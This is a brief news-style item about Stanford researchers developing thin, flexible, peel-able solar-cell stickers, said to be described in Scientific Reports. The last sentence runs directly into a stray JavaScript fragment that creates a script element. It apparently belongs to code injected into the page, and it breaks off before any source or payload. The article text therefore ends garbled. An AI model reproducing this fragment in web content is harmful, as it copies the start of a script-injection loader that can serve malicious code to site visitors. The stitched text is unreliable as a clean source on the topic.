Instead of rigid, cumbersome flat solar panels, we could all soon be powering our homes and electronics via stickers. Currently, engineers at Stanford have successfully developed thin, flexible, peel-able solar-cells which can then be attached to just about any surface.
This new technology was described in the magazine ‘Scientific Reports’, detaiing how Xiaolin Zheng and Chi Hwan Lee, led a passionate team of scientists to arrive at this groundbreaking achievement. The benefits don’t end there though. Such stickers further reduce cost and weight, making them an attractive alternative to their inflexible counterparts. Amazing progress indeed!var d=document;var s=d.createElement(‘script’);
